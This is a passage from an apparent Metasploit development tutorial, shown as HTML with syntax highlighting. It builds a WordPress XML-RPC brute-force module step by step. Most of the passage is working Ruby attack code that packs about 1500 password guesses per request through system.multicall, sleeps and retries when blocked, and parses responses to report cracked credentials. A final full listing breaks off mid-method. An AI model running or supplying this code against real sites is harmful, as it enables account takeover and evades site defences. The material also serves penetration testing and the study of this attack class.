                <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
                  <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>faultCode<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span>
                  <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-title">int</span>&gt;</span>403<span class="hljs-tag">&lt;/<span class="hljs-title">int</span>&gt;</span>
                  <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
                  <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>faultString<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span>
                  <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>Incorrect username or password.<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span>
                  <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>
              <span class="hljs-tag">&lt;/<span class="hljs-title">struct</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
          <span class="hljs-tag">&lt;/<span class="hljs-title">data</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-title">array</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-title">param</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-title">params</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-title">methodResponse</span>&gt;</span>
</code></pre>
<p>We noticed the following </p>
<ul>
<li><code>&lt;name&gt;faultCode&lt;/name&gt;</code></li>
<li><code>&lt;int&gt;403&lt;/int&gt;</code></li>
<li><code>&lt;string&gt;Incorrect username or password.&lt;/string&gt;</code></li>
</ul>
<p>Usually we rely one the string response &apos;<em>Incorrect username or password.</em>&apos;, but what if the WordPress language wasn&apos;t English? so the best thing is the integer response which is <code>403</code></p>
<p><strong>correct password response</strong></p>
<pre><code class="lang-xml"><span class="hljs-pi">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-title">methodResponse</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-title">params</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-title">param</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-title">array</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-title">data</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
              <span class="hljs-tag">&lt;<span class="hljs-title">array</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-title">data</span>&gt;</span>
                  <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-title">array</span>&gt;</span>
                      <span class="hljs-tag">&lt;<span class="hljs-title">data</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
                          <span class="hljs-tag">&lt;<span class="hljs-title">struct</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
                              <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>isAdmin<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span>
                              <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-title">boolean</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-title">boolean</span>&gt;</span>
                              <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
                              <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>url<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span>
                              <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>http://172.17.0.3/<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span>
                              <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
                              <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>blogid<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span>
                              <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span>
                              <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
                              <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>blogName<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span>
                              <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>Docker wordpress<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span>
                              <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-title">member</span>&gt;</span>
                              <span class="hljs-tag">&lt;<span class="hljs-title">name</span>&gt;</span>xmlrpc<span class="hljs-tag">&lt;/<span class="hljs-title">name</span>&gt;</span>
                              <span class="hljs-tag">&lt;<span class="hljs-title">value</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-title">string</span>&gt;</span>http://172.17.0.3/xmlrpc.php<span class="hljs-tag">&lt;/<span class="hljs-title">string</span>&gt;</span>
                              <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-title">member</span>&gt;</span>
                          <span class="hljs-tag">&lt;/<span class="hljs-title">struct</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
                      <span class="hljs-tag">&lt;/<span class="hljs-title">data</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-title">array</span>&gt;</span>
                  <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-title">data</span>&gt;</span>
              <span class="hljs-tag">&lt;/<span class="hljs-title">array</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
          <span class="hljs-tag">&lt;/<span class="hljs-title">data</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-title">array</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-title">value</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-title">param</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-title">params</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-title">methodResponse</span>&gt;</span>
</code></pre>
<p>We noticed that long reply with the result of called method <code>wp.getUsersBlogs</code></p>
<p>Awesome, right?</p>
<p>The tricky part is just begun! Since we will be sending thousands of passwords in one request and the reply will be rally huge XML files, how we&apos;ll find the position of the correct credentials? The answer is, by using the powerful ruby iteration methods, particularly <code>each_with_index</code> method.</p>
<p>Enough talking, show me the code!</p>
<h4 id="what-do-we-want"><a name="what-do-we-want" class="plugin-anchor" href="#what-do-we-want"><span class="fa fa-link"></span></a>What do we want?</h4>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Create Auxiliary module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Deal with Web Application </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Deal with WordPress </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Describe The module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Let people know we created this module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Add references about the vulnerability that we exploit</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Options to set the target URI, port, user, pass list.</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Read username and password lists as arrays </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Build/Generate XML file takes a user and iterate around the passwords</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Check if target is running WordPress </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Check if target enabling RPC</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Setup the HTTP with XML POST request</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Parse XML request and response </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Find the exact correct credentials </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Check if we got blocked</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Parsing the result and find which password is correct </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled"> Check if the module has been written correctly (msftidy.rb)</li>
</ul>
<h4 id="steps"><a name="steps" class="plugin-anchor" href="#steps"><span class="fa fa-link"></span></a>Steps</h4>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Create Auxiliary module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Deal with Web Application </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Deal with WordPress </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Describe The module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Let people know we created this module</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Add references about the vulnerability that we exploit</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Options to set the target URI, port, user, pass list.</li>
</ul>
<pre><code class="lang-ruby"><span class="hljs-comment">##</span>
<span class="hljs-comment"># This module requires Metasploit: http://www.metasploit.com/download</span>
<span class="hljs-comment"># Current source: https://github.com/rapid7/metasploit-framework</span>
<span class="hljs-comment">##</span>

<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;msf/core&apos;</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Metasploit3</span> <span class="hljs-inheritance">&lt; <span class="hljs-parent">Msf::Auxiliary</span></span></span>
  <span class="hljs-keyword">include</span> <span class="hljs-constant">Msf::Exploit::Remote::HttpClient</span>
  <span class="hljs-keyword">include</span> <span class="hljs-constant">Msf::Exploit::Remote::HTTP::Wordpress</span>

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">initialize</span><span class="hljs-params">(info = {})</span></span>
    <span class="hljs-keyword">super</span>(update_info(
            info,
            <span class="hljs-string">&apos;Name&apos;</span>         =&gt; <span class="hljs-string">&apos;WordPress XML-RPC Massive Brute Force&apos;</span>,
            <span class="hljs-string">&apos;Description&apos;</span>  =&gt; <span class="hljs-string">%q{WordPress massive brute force attacks via WordPress XML-RPC service.}</span>,
            <span class="hljs-string">&apos;License&apos;</span>      =&gt; <span class="hljs-constant">MSF_LICENSE</span>,
            <span class="hljs-string">&apos;Author&apos;</span>       =&gt;
                [
                  <span class="hljs-string">&apos;Sabri (@KINGSABRI)&apos;</span>,           <span class="hljs-comment"># Module Writer</span>
                  <span class="hljs-string">&apos;William (WCoppola@Lares.com)&apos;</span>  <span class="hljs-comment"># Module Requester</span>
                ],
            <span class="hljs-string">&apos;References&apos;</span>   =&gt;
                [
                  [<span class="hljs-string">&apos;URL&apos;</span>, <span class="hljs-string">&apos;https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/&apos;</span>],
                  [<span class="hljs-string">&apos;URL&apos;</span>, <span class="hljs-string">&apos;https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html&apos;</span>]
                ]
          ))

    register_options(
        [
          <span class="hljs-constant">OptString</span>.new(<span class="hljs-string">&apos;TARGETURI&apos;</span>, [<span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;The base path&apos;</span>, <span class="hljs-string">&apos;/&apos;</span>]),
          <span class="hljs-constant">OptPath</span>.new(<span class="hljs-string">&apos;WPUSER_FILE&apos;</span>, [<span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;File containing usernames, one per line&apos;</span>,
                                      <span class="hljs-constant">File</span>.join(<span class="hljs-constant">Msf::Config</span>.data_directory, <span class="hljs-string">&quot;wordlists&quot;</span>, <span class="hljs-string">&quot;http_default_users.txt&quot;</span>) ]),
          <span class="hljs-constant">OptPath</span>.new(<span class="hljs-string">&apos;WPPASS_FILE&apos;</span>, [<span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;File containing passwords, one per line&apos;</span>,
                                      <span class="hljs-constant">File</span>.join(<span class="hljs-constant">Msf::Config</span>.data_directory, <span class="hljs-string">&quot;wordlists&quot;</span>, <span class="hljs-string">&quot;http_default_pass.txt&quot;</span>)]),
          <span class="hljs-constant">OptInt</span>.new(<span class="hljs-string">&apos;BLOCKEDWAIT&apos;</span>, [<span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;Time(minutes) to wait if got blocked&apos;</span>, <span class="hljs-number">6</span>]),
          <span class="hljs-constant">OptInt</span>.new(<span class="hljs-string">&apos;CHUNKSIZE&apos;</span>, [<span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;Number of passwords need to be sent per request. (1700 is the max)&apos;</span>, <span class="hljs-number">1500</span>])
        ], <span class="hljs-keyword">self</span>.<span class="hljs-keyword">class</span>)
  <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>
</code></pre>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Read username and password lists as arrays </li>
</ul>
<pre><code class="lang-ruby">  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">usernames</span></span>
    <span class="hljs-constant">File</span>.readlines(datastore[<span class="hljs-string">&apos;WPUSER_FILE&apos;</span>]).map {|user| user.chomp}
  <span class="hljs-keyword">end</span>

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">passwords</span></span>
    <span class="hljs-constant">File</span>.readlines(datastore[<span class="hljs-string">&apos;WPPASS_FILE&apos;</span>]).map {|pass| pass.chomp}
  <span class="hljs-keyword">end</span>
</code></pre>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Build/Generate XML file takes a user and iterate around the passwords</li>
</ul>
<pre><code class="lang-ruby">  <span class="hljs-comment">#</span>
  <span class="hljs-comment"># XML Factory</span>
  <span class="hljs-comment">#</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_xml</span><span class="hljs-params">(user)</span></span>

    vprint_warning(<span class="hljs-string">&apos;Generating XMLs may take a while depends on the list file(s) size.&apos;</span>) <span class="hljs-keyword">if</span> passwords.size &gt; <span class="hljs-number">1500</span>
    xml_payloads = []                          <span class="hljs-comment"># Container for all generated XMLs</span>
    <span class="hljs-comment"># Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.</span>
    passwords.each_slice(datastore[<span class="hljs-string">&apos;CHUNKSIZE&apos;</span>]) <span class="hljs-keyword">do</span> |pass_group|

      document = <span class="hljs-constant">Nokogiri::XML::Builder</span>.new <span class="hljs-keyword">do</span> |xml|
        xml.methodCall {
          xml.methodName(<span class="hljs-string">&quot;system.multicall&quot;</span>)
          xml.params {
          xml.param {
          xml.value {
          xml.array {
          xml.data {

        pass_group.each  <span class="hljs-keyword">do</span> |pass|
          xml.value {
          xml.struct {
          xml.member {
          xml.name(<span class="hljs-string">&quot;methodName&quot;</span>)
          xml.value { xml.string(<span class="hljs-string">&quot;wp.getUsersBlogs&quot;</span>) }}
            xml.member {
            xml.name(<span class="hljs-string">&quot;params&quot;</span>)
            xml.value {
            xml.array {
            xml.data {
            xml.value {
            xml.array {
              xml.data {
                xml.value { xml.string(user) }
                xml.value { xml.string(pass) }
          }}}}}}}}}
        <span class="hljs-keyword">end</span>

          }}}}}}
      <span class="hljs-keyword">end</span>

      xml_payloads &lt;&lt; document.to_xml
    <span class="hljs-keyword">end</span>

    vprint_status(<span class="hljs-string">&apos;Generating XMLs just done.&apos;</span>)
    xml_payloads
  <span class="hljs-keyword">end</span>
</code></pre>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Check if target is running WordPress </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Check if target enabling RPC</li>
</ul>
<pre><code class="lang-ruby">  <span class="hljs-comment">#</span>
  <span class="hljs-comment"># Check target status</span>
  <span class="hljs-comment">#</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check_wpstatus</span></span>
    print_status(<span class="hljs-string">&quot;Checking <span class="hljs-subst">#{peer}</span> status!&quot;</span>)

    <span class="hljs-keyword">if</span> !wordpress_and_online?
      print_error(<span class="hljs-string">&quot;<span class="hljs-subst">#{peer}</span>:<span class="hljs-subst">#{rport}</span><span class="hljs-subst">#{target_uri}</span> does not appear to be running WordPress or you got blocked! (Do Manual Check)&quot;</span>)
      <span class="hljs-keyword">nil</span>
    <span class="hljs-keyword">elsif</span> !wordpress_xmlrpc_enabled?
      print_error(<span class="hljs-string">&quot;<span class="hljs-subst">#{peer}</span>:<span class="hljs-subst">#{rport}</span><span class="hljs-subst">#{wordpress_url_xmlrpc}</span> does not enable XML-RPC&quot;</span>)
      <span class="hljs-keyword">nil</span>
    <span class="hljs-keyword">else</span>
      print_status(<span class="hljs-string">&quot;Target <span class="hljs-subst">#{peer}</span> is running WordPress&quot;</span>)
      <span class="hljs-keyword">true</span>
    <span class="hljs-keyword">end</span>

  <span class="hljs-keyword">end</span>
</code></pre>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Setup the HTTP with XML POST request</li>
</ul>
<pre><code class="lang-ruby">  <span class="hljs-comment">#</span>
  <span class="hljs-comment"># Connection Setup</span>
  <span class="hljs-comment">#</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">send</span><span class="hljs-params">(xml)</span></span>
    uri  = target_uri.path
    opts =
      {
        <span class="hljs-string">&apos;method&apos;</span>  =&gt; <span class="hljs-string">&apos;POST&apos;</span>,
        <span class="hljs-string">&apos;uri&apos;</span>     =&gt; normalize_uri(uri, wordpress_url_xmlrpc),
        <span class="hljs-string">&apos;data&apos;</span>    =&gt; xml,
        <span class="hljs-string">&apos;ctype&apos;</span>   =&gt;<span class="hljs-string">&apos;text/xml&apos;</span>
      }
    client = <span class="hljs-constant">Rex::Proto::Http::Client</span>.new(rhost)
    client.connect
    req  = client.request_cgi(opts)
    res  = client.send_recv(req)

    <span class="hljs-keyword">if</span> res &amp;&amp; res.code != <span class="hljs-number">200</span>
      print_error(<span class="hljs-string">&apos;It seems you got blocked!&apos;</span>)
      print_warning(<span class="hljs-string">&quot;I&apos;ll sleep for <span class="hljs-subst">#{datastore[<span class="hljs-string">&apos;BLOCKEDWAIT&apos;</span>]}</span> minutes, then I&apos;ll try again. CTR+C to exit&quot;</span>)
      sleep datastore[<span class="hljs-string">&apos;BLOCKEDWAIT&apos;</span>] * <span class="hljs-number">60</span>
    <span class="hljs-keyword">end</span>
    <span class="hljs-variable">@res</span> = res
  <span class="hljs-keyword">end</span>
</code></pre>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Parse XML request and response </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Find the exact correct credentials </li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Check if we got blocked</li>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Parsing the result and find which password is correct </li>
</ul>
<pre><code class="lang-ruby">  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run</span></span>
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">if</span> check_wpstatus.<span class="hljs-keyword">nil</span>?

    usernames.each <span class="hljs-keyword">do</span> |user|
      passfound = <span class="hljs-keyword">false</span>

      print_status(<span class="hljs-string">&quot;Brute forcing user: <span class="hljs-subst">#{user}</span>&quot;</span>)
      generate_xml(user).each <span class="hljs-keyword">do</span> |xml|
        <span class="hljs-keyword">next</span> <span class="hljs-keyword">if</span> passfound == <span class="hljs-keyword">true</span>

        send(xml)

        <span class="hljs-comment"># Request Parser</span>
        req_xml = <span class="hljs-constant">Nokogiri::Slop</span> xml
        <span class="hljs-comment"># Response Parser</span>
        res_xml = <span class="hljs-constant">Nokogiri::Slop</span> <span class="hljs-variable">@res</span>.to_s.scan(<span class="hljs-regexp">/&lt;.*&gt;/</span>).join
        puts res_xml
        res_xml.search(<span class="hljs-string">&quot;methodResponse/params/param/value/array/data/value&quot;</span>).each_with_index <span class="hljs-keyword">do</span> |value, i|

          result =  value.at(<span class="hljs-string">&quot;struct/member/value/int&quot;</span>)
          <span class="hljs-comment"># If response error code doesn&apos;t not exist, then it&apos;s the correct credentials!</span>
          <span class="hljs-keyword">if</span> result.<span class="hljs-keyword">nil</span>?
            user = req_xml.search(<span class="hljs-string">&quot;data/value/array/data&quot;</span>)[i].value[<span class="hljs-number">0</span>].text.strip
            pass = req_xml.search(<span class="hljs-string">&quot;data/value/array/data&quot;</span>)[i].value[<span class="hljs-number">1</span>].text.strip
            print_good(<span class="hljs-string">&quot;Credentials Found! <span class="hljs-subst">#{user}</span>:<span class="hljs-subst">#{pass}</span>&quot;</span>)

            passfound = <span class="hljs-keyword">true</span>
          <span class="hljs-keyword">end</span>

        <span class="hljs-keyword">end</span>

        <span class="hljs-keyword">unless</span> user == usernames.last
          vprint_status(<span class="hljs-string">&apos;Sleeping for 2 seconds..&apos;</span>)
          sleep <span class="hljs-number">2</span>
        <span class="hljs-keyword">end</span>

      <span class="hljs-keyword">end</span> 
    <span class="hljs-keyword">end</span> 
  <span class="hljs-keyword">end</span>
</code></pre>
<h4 id="wrapping-up"><a name="wrapping-up" class="plugin-anchor" href="#wrapping-up"><span class="fa fa-link"></span></a>Wrapping up</h4>
<pre><code class="lang-ruby"><span class="hljs-comment">##</span>
<span class="hljs-comment"># This module requires Metasploit: http://www.metasploit.com/download</span>
<span class="hljs-comment"># Current source: https://github.com/rapid7/metasploit-framework</span>
<span class="hljs-comment">##</span>

<span class="hljs-keyword">require</span> <span class="hljs-string">&apos;msf/core&apos;</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Metasploit3</span> <span class="hljs-inheritance">&lt; <span class="hljs-parent">Msf::Auxiliary</span></span></span>
  <span class="hljs-keyword">include</span> <span class="hljs-constant">Msf::Exploit::Remote::HttpClient</span>
  <span class="hljs-keyword">include</span> <span class="hljs-constant">Msf::Exploit::Remote::HTTP::Wordpress</span>

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">initialize</span><span class="hljs-params">(info = {})</span></span>
    <span class="hljs-keyword">super</span>(update_info(
            info,
            <span class="hljs-string">&apos;Name&apos;</span>         =&gt; <span class="hljs-string">&apos;WordPress XML-RPC Massive Brute Force&apos;</span>,
            <span class="hljs-string">&apos;Description&apos;</span>  =&gt; <span class="hljs-string">%q{WordPress massive brute force attacks via WordPress XML-RPC service.}</span>,
            <span class="hljs-string">&apos;License&apos;</span>      =&gt; <span class="hljs-constant">MSF_LICENSE</span>,
            <span class="hljs-string">&apos;Author&apos;</span>       =&gt;
                [
                  <span class="hljs-string">&apos;Sabri (@KINGSABRI)&apos;</span>,           <span class="hljs-comment"># Module Writer</span>
                  <span class="hljs-string">&apos;William (WCoppola@Lares.com)&apos;</span>  <span class="hljs-comment"># Module Requester</span>
                ],
            <span class="hljs-string">&apos;References&apos;</span>   =&gt;
                [
                  [<span class="hljs-string">&apos;URL&apos;</span>, <span class="hljs-string">&apos;https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/&apos;</span>],
                  [<span class="hljs-string">&apos;URL&apos;</span>, <span class="hljs-string">&apos;https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html&apos;</span>]
                ]
          ))

    register_options(
        [
          <span class="hljs-constant">OptString</span>.new(<span class="hljs-string">&apos;TARGETURI&apos;</span>, [<span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;The base path&apos;</span>, <span class="hljs-string">&apos;/&apos;</span>]),
          <span class="hljs-constant">OptPath</span>.new(<span class="hljs-string">&apos;WPUSER_FILE&apos;</span>, [<span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;File containing usernames, one per line&apos;</span>,
                                      <span class="hljs-constant">File</span>.join(<span class="hljs-constant">Msf::Config</span>.data_directory, <span class="hljs-string">&quot;wordlists&quot;</span>, <span class="hljs-string">&quot;http_default_users.txt&quot;</span>) ]),
          <span class="hljs-constant">OptPath</span>.new(<span class="hljs-string">&apos;WPPASS_FILE&apos;</span>, [<span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;File containing passwords, one per line&apos;</span>,
                                      <span class="hljs-constant">File</span>.join(<span class="hljs-constant">Msf::Config</span>.data_directory, <span class="hljs-string">&quot;wordlists&quot;</span>, <span class="hljs-string">&quot;http_default_pass.txt&quot;</span>)]),
          <span class="hljs-constant">OptInt</span>.new(<span class="hljs-string">&apos;BLOCKEDWAIT&apos;</span>, [<span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;Time(minutes) to wait if got blocked&apos;</span>, <span class="hljs-number">6</span>]),
          <span class="hljs-constant">OptInt</span>.new(<span class="hljs-string">&apos;CHUNKSIZE&apos;</span>, [<span class="hljs-keyword">true</span>, <span class="hljs-string">&apos;Number of passwords need to be sent per request. (1700 is the max)&apos;</span>, <span class="hljs-number">1500</span>])
        ], <span class="hljs-keyword">self</span>.<span class="hljs-keyword">class</span>)
  <span class="hljs-keyword">end</span>

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">usernames</span></span>
    <span class="hljs-constant">File</span>.readlines(datastore[<span class="hljs-string">&apos;WPUSER_FILE&apos;</span>]).map {|user| user.chomp}
  <span class="hljs-keyword">end</span>

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">passwords</span></span>
    <span class="hljs-constant">File</span>.readlines(datastore[<span class="hljs-string">&apos;WPPASS_FILE&apos;</span>]).map {|pass| pass.chomp}
  <span class="hljs-keyword">end</span>

  <span class="hljs-comment">#</span>
  <span class="hljs-comment"># XML Factory</span>
  <span class="hljs-comment">#</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_xml</span><span class="hljs-params">(user)</span></span>

    vprint_warning(<span class="hljs-string">&apos;Generating XMLs may take a while depends on the list file(s) size.&apos;</span>) <span class="hljs-keyword">if</span> passwords.size &gt; <span class="hljs-number">1500</span>
    xml_payloads = []                          <span class="hljs-comment"># Container for all generated XMLs</span>
    <span class="hljs-comment"># Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.</span>
    passwords.each_slice(datastore[<span class="hljs-string">&apos;CHUNKSIZE&apos;</span>]) <span class="hljs-keyword">do</span> |pass_group|

      document = <span class="hljs-constant">Nokogiri::XML::Builder</span>.new <span class="hljs-keyword">do</span> |xml|
        xml.methodCall {
          xml.methodName(<span class="hljs-string">&quot;system.multicall&quot;</span>)
          xml.params {
          xml.param {
          xml.value {
          xml.array {
          xml.data {

        pass_group.each  <span class="hljs-keyword">do</span> |pass|
          xml.value {
          xml.struct {
          xml.member {
          xml.name(<span class="hljs-string">&quot;methodName&quot;</span>)
          xml.value { xml.string(<span class="hljs-string">&quot;wp.getUsersBlogs&quot;</span>) }}
            xml.member {
            xml.name(<span class="hljs-string">&quot;params&quot;</span>)
            xml.value {
            xml.array {
            xml.data {
            xml.value {
            xml.array {
              xml.data {
                xml.value { xml.string(user) }
                xml.value { xml.string(pass) }
          }}}}}}}}}
        <span class="hljs-keyword">end</span>

          }}}}}}
      <span class="hljs-keyword">end</span>

      xml_payloads &lt;&lt; document.to_xml
    <span class="hljs-keyword">end</span>

    vprint_status(<span class="hljs-string">&apos;Generating XMLs just done.&apos;</span>)
    xml_payloads
  <span class="hljs-keyword">end</span>

  <span class="hljs-comment">#</span>
  <span class="hljs-comment"># Check target status</span>
  <span class="hljs-comment">#</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check_wpstatus</span></span>
    print_status(<span class="hljs-string">&quot;Checking <span class="hljs-subst">#{peer}</span> status!&quot;</span>)

    <span class="hljs-keyword">if</span> !wordpress_and_online?
      print_error(<span class="hljs-string">&quot;<span class="hljs-subst">#{peer}</span>:<span class="hljs-subst">#{rport}</span><span class="hljs-subst">#{target_uri}</span> does not appear to be running WordPress or you got blocked! (Do Manual Check)&quot;</span>)
      <span class="hljs-keyword">nil</span>
    <span class="hljs-keyword">elsif</span> !wordpress_xmlrpc_enabled?
